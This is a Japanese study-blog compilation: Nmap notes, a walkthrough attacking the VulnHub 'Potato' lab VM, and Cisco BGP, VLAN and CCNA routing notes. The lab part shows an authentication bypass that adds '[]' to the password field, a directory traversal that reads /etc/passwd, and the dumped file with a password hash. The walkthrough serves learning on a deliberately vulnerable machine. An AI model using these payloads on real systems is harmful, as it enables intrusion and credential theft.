Nmap のまとめ

Nmapのまとめ

Nmapとは

ネットワーク探索やセキュリティ監査を目的とした、オープンソースのネットワークスキャナ

主な機能
1,ホスト検出
ネットワーク上のアクティブなホストを特定します。

2,ポートスキャン
ホスト上で開いているポート、閉じているポート、フィルタリングされているポートを確認します。

3,サービス検出
実行中のサービスやそのバージョンを特定します。

4,OS検出
ホストが使用しているオペレーティングシステムや、そのバージョンを推測します。

5,スクリプトエンジン (NSE)
セキュリティ診断や脆弱性スキャン、マルウェア検出などの自動タスクを実行できます。

6,ネットワークマッピング
ネットワークトポロジーを可視化します。

ローカルNWのSCAN

コマンド
・スキャン対象のIPアドレス範囲を指定
・-sn (旧 -sP): ホスト検出のみを行い、ポートスキャンを行いません。

nmap -sn 192.168.56.0/24

標的サーバーに対してのSCAN

・-Pn　全てのホストを「オンライン」と仮定してスキャン
・-sS 　高速かつステルス性のあるポートスキャン
・-sV　開いているポートで実行中のサービスやバージョン情報を特定
・-o　標的ホストのOS情報を取得（可能であればバージョンも推定

nmap -Pn -sV -sS -O 192.168.56.105 

オプション一覧

タイミングテンプレート

ハッキングラボの作り方をやってみる POTATO③

前回はFTPで接続してファイルを獲得しました
今回はHTTPに対し得ての攻撃を行います

HTTPに対する一般的な攻撃アプローチ

1. ApacheやNginxnなどのHTTPサーバープログラムに対する攻撃
2. WordPressやDrupal などよく使われているWebアプリに対する攻撃
3. 独自Webアプリに対する攻撃

１．HTTPへ接続

ブラウザを開きpotatoのIPアドレスにアクセス

Gobuster
ターゲットIPに対して自分の辞書を利用してターゲットの階層を特定する

gobuster dir -u 192.168.56.102 -w /usr/share/wordlists/dirb/common.txt 

２．Burp Suite
Burp Suite（バープスイート） は、Webアプリケーションのセキュリティテストを行うための統合ツールセット

オープンブラウザを開く

192.168.56.102/admin にアクセスし
Interceptis on にする

適当なユーザーとパスワードを入力するここでは
ユーザをadmin
パスワードをtest
にする

username=admin&password[]=testS　←[]を追加

出力された文字を書き換えてForwardボタンを押す

ディレクトリートラバーサル攻撃

Webアプリケーションのセキュリティの弱点を悪用して、本来アクセスできないファイルやディレクトリに不正アクセスする攻撃手法
potatoは
../../../../../etc/passwd
で入れる

log_test1 の部分を
file=../../../../../etc/passwd

に書き換えてForwardを押す

ブラウザに移動するとパスワードリストが表示されている

Contenu du fichier ../../../../../etc/passwd :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
florianges:x:1000:1000:florianges:/home/florianges:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
proftpd:x:112:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:113:65534::/srv/ftp:/usr/sbin/nologin
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash

パスワードリストを獲得しました今回はここまで

ハッキングラボの作り方をやってみる POTATO②

前回はNMAPを利用した、ポートスキャンを行い
ssh http ftpなどのポートが開いていることを確認した
今回はそのポートへの攻撃を行っていく

１．FTPにアクセス
ポートSCANの情報からAnonymousFTPであることがわかる

※AnoymousFTPはユーザー名「anonymous」でログインできる　パスワードは何でもいい
FTPに接続

ftp 192.168.56.102 2112

lsコマンドで同階層のファイルやフォルダを確認する

上記から
welcome.msg
index.php.bak
があることがわかった
２つのデータの内容を取得する。

get index.php.bak

get welcom.msg

kaliに戻りデータを確認する
□welocme.msg

file welcome.msg  

more welcome.msg 

□index.php.bak

file index.php.bak

cat index.php.bak

上記よりデフォルトパスワードがpotato であることがわかる

<?php

$pass= "potato"; //note Change this password regularly   ←パスワード

ユーザーはadminであることもわかる

if($_GET['login']==="1"){
  if (strcmp($_POST['username'], "admin") == 0  && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
    setcookie('pass', $pass, time() + 365*24*3600);
  }else{

今回はここまで

ハッキングラボの作り方をやってみる POTATO①

ハッキングラボの作り方　完全版

今回からハッキングラボの作り方を進めていき、学習した内容をまとめていこうと思います。
また、本書ではPrrotOSで進められますが私はKalilinuxが好きなので可能な限りkalilinuxで進めていこうと思います。

本書では座学という項目がありますが今回は実際のターゲットマシーンのインストール完了から進めていきます。

１．マシーンの準備

下記よりPotatoのダウンロード
Potato
URL https://www.vulnhub.com/entry/potato-1,529/

vboxpotato

Potatoとkaliともにネットワーク設定をホストオンリーアダプターに設定
アダプター１以外は設定する必要はなし

２．両マシーンのネットワークの確認

まずは、kalilのIPアドレスを確認する
ターミナルを開き

ip a

netdiscover を利用してホストをスキャンする

sudo netdiscover -i eth0 -r 192.168.56.0/24

192.168.56.1 ホストOS
192.168.56.100 DHCPサーバー
192.168.56.102 Potate OS

確認のためping を打っておく

ping 192.168.56.102

３．偵察 NMAP
□Nmap の使い方
オプションコマンド

• デフォルトカテゴリーのスクリプトスキャン　→　-sC

• ソフトウェア名とバージョンを表示　→　-sV

• スキャン前に疎通確認なし　→　-Pn

• 全ポート対象　※デフォは一般的なポートのみサポートするため　→　-p-

• スキャン結果を指定ファイルに出力　→　-oN

Potato をスキャンする

sudo nmap -sC -sV -Pn -p- 192.168.56.102 -oN portscan_result.txt

22/tcp → SSH
80/tcp → HTTP
2112/tcp → FTP

が開いていることが確認できる次から空いているポートに接続していく

BGP ルーター 1対1 構成

BGPの基本設定

設定イメージ

・インターフェース設定
R1への設定

interface GigabitEthernet8
ip address 100.0.0.1 255.255.255.0
duplex auto
speed auto

interface Vlan1
ip address 192.168.0.1 255.255.255.0

R2への設定

interface GigabitEthernet8
ip address 100.0.0.2 255.255.255.0
duplex auto
speed auto

interface Vlan1
ip address 172.16.0.1 255.255.255.0

・BGPの設定
R1への設定

router bgp 100
bgp log-neighbor-changes
network 192.168.0.0
neighbor 100.0.0.2 remote-as 200

R2への設定

router bgp 200
bgp log-neighbor-changes
network 172.16.0.0 mask 255.255.255.0
neighbor 100.0.0.1 remote-as 100

確認コマンド

show ip bgp 
show ip bgp neighbors
show ip bgp summary 
show ip route 

・show ip route

R2#show ip route
Codes: L - local, C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route, H - NHRP, l - LISP
       a - application route
       + - replicated route, % - next hop override

・show ip bgp

R2# show ip bgp
BGP table version is 5, local router ID is 172.16.0.1
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,
              r RIB-failure, S Stale, m multipath, b backup-path, f RT-Filter,
              x best-external, a additional-path, c RIB-compressed,
Origin codes: i - IGP, e - EGP, ? - incomplete
RPKI validation codes: V valid, I invalid, N Not found

     Network          Next Hop            Metric LocPrf Weight Path
 *>  172.16.0.0/24    0.0.0.0                  0         32768 i
 *>  192.168.0.0      100.0.0.1                0             0 100 i

※cisco 891を使用した場合、ルーターに端末およびL2SWなどが接続されていなければルーティングテーブルに記載が乗らない

CISCOスイッチのトランクポートVLAN設定

Cisco 機器でのトランクポート接続設定

トランクポートテスト

■SW1 への設定
・VLANの設定

interface Vlan10
 ip address 192.168.10.251 255.255.255.0

interface Vlan20
 ip address 192.168.20.251 255.255.255.0

・インターフェースへの設定

interface GigabitEthernet0/1
 switchport access vlan 20
 switchport mode access

interface GigabitEthernet0/8
 switchport trunk encapsulation dot1q
 switchport trunk allowed vlan 10,20
 switchport mode trunk

■SW2への設定
・VLANの設定

interface Vlan10
 ip address 192.168.10.250 255.255.255.0

interface Vlan20
 ip address 192.168.20.250 255.255.255.0

・インターフェースへの設定

interface GigabitEthernet0/1
 switchport access vlan 10
 switchport mode access

interface GigabitEthernet0/8
 switchport trunk encapsulation dot1q
 switchport trunk allowed vlan 10,20
 switchport mode trunk

CCNA ダイナミックルーティング まとめ

■ダイナミックルーティングの種類
・RIP（Routhing Information Protocol ）
・OSPF（Open Shortest Path First）
・EIGRP（Enhanced Interior Gateway Routing Protocol）
・BGP（Border Gate Protocol）
・IS-IS（Intermediate System to Intermediate System）

■各ルーティングプロトコルで共通の用語
・メトリック
・アドバタイズ

・メトリック
宛先NWまでの距離を表す
ルーティングをする際に最もメトリックの値が小さいルートが優先され、ルーティングテーブルに登録される

ルーティングごとのメトリックスの値
RIP　　→　ホップ数（ルータをまたぐ個数）
OSPF　→　帯域幅から計算するコスト
EIGRP →　帯域幅、遅延、信頼性、負荷、MTUを使う複合メトリック

・アドバタイズ
ルートの情報を隣接ルータに通知
ルーティングプロトコルごとにアドバタイズの方法は異なる

■ルーティングプロトコルの分類
大きく2つに分類される
・IGP（Interior Gateway Protocol）
・EGP（Exterior Gateway Protocol）

・IGP
AS（自立システム：Autonomous System）で経路情報を交換するためのルーティングプロトコル
ASとは組織が運用しているルータやネットワークをひとまとめにしてASという単位で考えられる
ISPもこのASにあたる
RIP、OSPF、EIGRP　が分類される

・EGP
AS間での経路情報をやり取りすためのプロトコル
BGPに含まれる
BGPとはインターネット上で利用されるルーティングプロトコル

■アルゴリズムによる分類
・ディスタンスベクタ型
・拡張ディスタンスベクタ型
・リンクステート型

・ディスタンスベクタ型
ルーティングテーブルの情報を交換する
距離と方向をもとにベルマンフォード法というアルゴリズムを使って宛先までの最適ルートを選ぶ
距離（ディスタンス）と方向（ベクトル）が基になる
RIPが分類される
コンバージェンス（ルート情報が行き渡るまで）は遅く、ルーターへの負荷は小さい

・拡張ディスタンスベクタ型（ハイブリット型）
アルゴリズムDUALを使用
IGRPEが分類される
コンバージェンス（ルート情報が行き渡るまで）は早く、ルーターへの負荷はリンクステートよりも小さい

・リンクステート型
ルータが自身のインターフェースの情報（リンクステート）を交換する
SPFアルゴリズム
ルーティングテーブル自体ではなく、テーブルを作成するための計算材料を交換するイメージ
OSPFとIS-ISが分類される
コンバージェンス（ルート情報が行き渡るまで）は早く、ルーターへの負荷は大きい